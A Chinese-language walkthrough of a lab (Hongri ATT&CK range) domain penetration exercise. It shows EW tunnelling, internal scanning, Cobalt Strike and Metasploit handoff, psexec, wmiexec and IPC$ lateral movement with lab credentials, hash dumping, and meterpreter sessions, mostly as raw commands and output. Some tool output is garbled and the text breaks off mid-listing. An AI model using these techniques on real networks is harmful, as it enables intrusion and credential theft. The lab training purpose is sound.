由浅入深的域渗透系列一（下）

注：本系列以红日安全的ATT&CK（一）靶场展开 篇幅略长，阅读需耐心。 本章节涉及到的知识点 ew穿透 使用nbtscan扫描主机 cs和msf联动 MSF添加路由进行内网渗透 利用WMIEXEC横向移动 利用cobaltstrike横向移动 token窃取 利用msf进行hash传递 利用计划任务获取机器权限 黄金票据 内网穿透 kali上执行 ./ew_for_linux64 -s rcsocks -l 1080 -e 112 肉鸡上执行 ew_for_Win.exe -s rssocks -d 192.168.33.3 -e 112 之后配置proxychains vim /etc/proxychains.conf msf自带的代理 auxiliary/server/socks4a 配置proxychains 内网扫描 使用cs的扫描模块对192.168.52.0/24进行扫描 发现机器 使用lodan扫描内网 Ladon 192.168.52.0/24 OnlinePC Ladon 192.168.52.0/24 oSscan 使用nbtscan扫描主机 C:\Users\Administrator\Downloads>nbt.exe 192.168.52.0/24 nbt.exe 192.168.52.0/24 192.168.52.1 WORKGROUP\DESKTOP-SVDB0O0 SHARING 192.168.52.138 GOD\OWA SHARING DC 192.168.52.141 GOD\ROOT-TVI862UBEH SHARING ? 192.168.52.143 GOD\STU1 SHARING *timeout (normal end of scan) cs和msf联动 Cobalt strike 派生 shell 给 MSF 首先msf创建监听 msf > use exploit/multi/handler  msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.33.3 msf exploit(handler) > set lport 6666 msf exploit(handler) > exploit -j 之后在cs上 创建监听 成功接收到会话 如果需要连接3389可开启3389端口 REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 或者关闭防火墙 run post/windows/manage/enable_rdp MSF添加路由进行内网渗透 查看当前网段 run get_local_subnets 添加路由 run autoroute -s 192.168.52.0/24 横向移动 psexec 直接kllist看到当前存在凭证 -accepteula初次打开会出现一堆信息，添加这个命令不会出现一堆信息 PsExec.exe -accepteula \\owa.god.org cmdPsExec.exe \\owa.god.org -u god\Administrator -p hongrisec@2019: cmd.exePsExec.exe \\192.168.52.138 -u god\Administrator -p hongrisec@2019: -s cmd /c "quser" 利用WMIEXEC横向移动 wmiexec是psexec的升级版，比较好用 cscript.exe wmiexec.vbs /cmd 192.168.52.138 god\Administrator hongrisec@2019: "ipconfig" 单条命令模式cscript.exe //nologo wmiexec.vbs /shell 192.168.52.138 god\Administrator hongrisec@2019: 半交互模式 利cobaltstrike横向移动 因为192.168.52.0/24段不能直接连接到192.168.33.3（kali地址)，所以需要CS派生smb beacon。让内网的主机连接到win7上。 SMB Beacon使用命名管道通过父级Beacon进行通讯，当两个Beacons链接后，子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信，此流量封装在SMB协议中，所以SMB Beacon相对隐蔽，绕防火墙时可能发挥奇效。 首先 利用cs的派生会话 得到一个派生的会话 hash传递 拿到域内所有机器 或者利用token窃取 成功拿到服务器 利用msf进行hash传递 添加路由 run autoroute -s 192.168.52.0/24 利用getsystem提权 run post/windows/gather/hashdumpmeterpreter > getsystem...Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 利用msf直接获取meterpreter  使用正向连接 sf5 exploit(windows/smb/psexec) > use exploit/windows/smb/psexec   msf5 exploit(windows/smb/psexec) > show options  set payload windows/meterpreter/bind_tcp    Module options (exploit/windows/smb/psexec):     Name Current Setting Required Description   ---- --------------- -------- -----------   RHOSTS 192.168.52.141 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'   RPORT 445 yes The SMB service port (TCP)   SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing   SERVICE_DISPLAY_NAME no The service display name   SERVICE_NAME no The service name   SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share   SMBDomain god no The Windows domain to use for authentication   SMBPass hongrisec@2019: no The password for the specified username   SMBUser Administrator no The username to authenticate as      Payload options (windows/meterpreter/bind_tcp):     Name Current Setting Required Description   ---- --------------- -------- -----------   EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)   LPORT 9912 yes The listen port   RHOST 192.168.52.141 no The target address      Exploit target:     Id Name   -- ----   0 Automatic  msf5 exploit(windows/smb/psexec) > set RHOST 192.168.52.141  RHOST => 192.168.52.141  msf5 exploit(windows/smb/psexec) > exploit     [*] 192.168.52.141:445 - Connecting to the server...  [*] 192.168.52.141:445 - Authenticating to 192.168.52.141:445|god as user 'Administrator'...  [*] 192.168.52.141:445 - Selecting native target  [*] 192.168.52.141:445 - Uploading payload... NdNRbMHz.exe  [*] 192.168.52.141:445 - Created \NdNRbMHz.exe...  [+] 192.168.52.141:445 - Service started successfully...  [*] 192.168.52.141:445 - Deleting \NdNRbMHz.exe...  [*] Started bind TCP handler against 192.168.52.141:9912  [*] Sending stage (180291 bytes) to 192.168.52.141  [*] Meterpreter session 2 opened (192.168.33.3-192.168.33.5:0 -> 192.168.52.141:9912) at 2020-05-22 14:12:38 +0800    meterpreter > 利用msf的psexec执行命令 use auxiliary/admin/smb/psexec_command msf5 auxiliary(admin/smb/psexec_command) > set RHOSTS 192.168.52.138 ip RHOSTS => 192.168.52.138 msf5 auxiliary(admin/smb/psexec_command) > set SMBDOMAIN god 域名 god/Administrator SMBDOMAIN => god msf5 auxiliary(admin/smb/psexec_command) > set SMBUSER Administrator 域用户 SMBUSER => Administrator msf5 auxiliary(admin/smb/psexec_command) > set SMBPASS hongrisec@2019: 密码 或者hash SMBPASS => hongrisec@2019: msf5 auxiliary(admin/smb/psexec_command) > set COMMAND ipconfig 命令 COMMAND => ipconfig msf5 auxiliary(admin/smb/psexec_command) > exploit [+] 192.168.52.138:445 - Service start timed out, OK if running a command or non-service executable... [*] 192.168.52.138:445 - checking if the file is unlocked [*] 192.168.52.138:445 - Getting the command output... [*] 192.168.52.138:445 - Executing cleanup... [+] 192.168.52.138:445 - Cleanup was successful [+] 192.168.52.138:445 - Command completed successfully! [*] 192.168.52.138:445 - Output for "ipconfig": Windows IP ���� ���������� ��������: �����ض��� DNS ��׺ . . . . . . . : �������� IPv6 ��. . . . . . . . : fe80::482e:ddf9:ce9f:4854%11 IPv4 �� . . . . . . . . . . . . : 192.168.52.138 �������� . . . . . . . . . . . . : 255.255.255.0 Ĭ������. . . . . . . . . . . . . : 192.168.52.2 ���������� isatap.{D7C92CB6-1939-46AC-85CE-50401CEC5056}: ý��״ . . . . . . . . . . . . : ý���ѶϿ� �����ض��� DNS ��׺ . . . . . . . : [*] 192.168.52.138:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 利用IPC入侵 建立ipc连接 n et use \\192.168.52.138\ipc$ "hongrisec@2019:" /user:god\Administrator     C:\Windows\system32>dir \\192.168.52.138\c$  dir \\192.168.52.138\c$   Volume in drive \\192.168.52.138\c$ has no label.   Volume Serial Number is 1E4D-1970     Directory of \\192.168.52.138\c$    19/10/13 13:06